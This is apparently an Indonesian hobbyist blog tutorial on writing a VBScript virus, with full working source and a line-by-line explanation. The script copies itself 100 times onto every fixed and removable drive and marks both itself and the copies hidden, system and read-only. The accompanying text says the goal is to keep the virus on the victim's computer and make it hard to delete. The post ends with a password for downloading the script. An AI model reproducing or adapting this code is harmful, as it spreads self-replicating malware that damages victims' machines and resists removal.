MENYEMBUNYIKAN HASIL KOPIAN YANG BANYAK

Daripada anak-anak virus ini kelihatan dan merusak pemandangan sekaligus mencegah penghapusan dan supaya anak-anak virus ini betah tinggal dikomputer korban lebih baik anak-anak ini disembunyikan biar aman.

on error resume next

set dendrif=CreateObject("Scripting.FileSystemObject")

set vs=dendrif.OpenTextFile(Wscript.ScriptFullName)

c1vs=vs.ReadAll

vs.close

set c2vs=dendrif.GetFile(Wscript.ScriptFullName)

for each deo in dendrif.drives

if (deo.drivetype=1 or deo.drivetype=2 ) and deo.path <>"A:" then

for i = 1 to 100

set c3vs=dendrif.createTextFile(deo.path & "\sysInfo" & i & ".vbs",2,true)

c3vs.write c1vs

c3vs.close

set att=dendrif.GetFile(Wscript.ScriptFullName)

att.attributes=39

set att1=dendrif.GetFile(deo.path & "\sysInfo" & i & ".vbs")

att1.attributes=39

next

end if

next

msgbox"virus telah berhasil di kopi ke all drive sebanyak 100 buah dan disembunyikan",vbinformation,"Tes virus..."

penjelasan script

set att=dendrif.GetFile(Wscript.ScriptFullName) = pengambilan informasi virus

att.attributes=39  = merubah file virus jadi hidden+system+readonly+archive

set att1=dendrif.GetFile(deo.path & "\sysInfo" & i & ".vbs") = pengambilan informasi hasil kopian

att1.attributes=39 = merubah hasil kopian jadi hidden+system+readonly+archive

yang lainnya sudah sering di jelaskan booossaaaaaaaaaan.

download script

password = www.dendrif-deo.co.cc[hiddenallcloning]

semoga bermanfaat............................ :D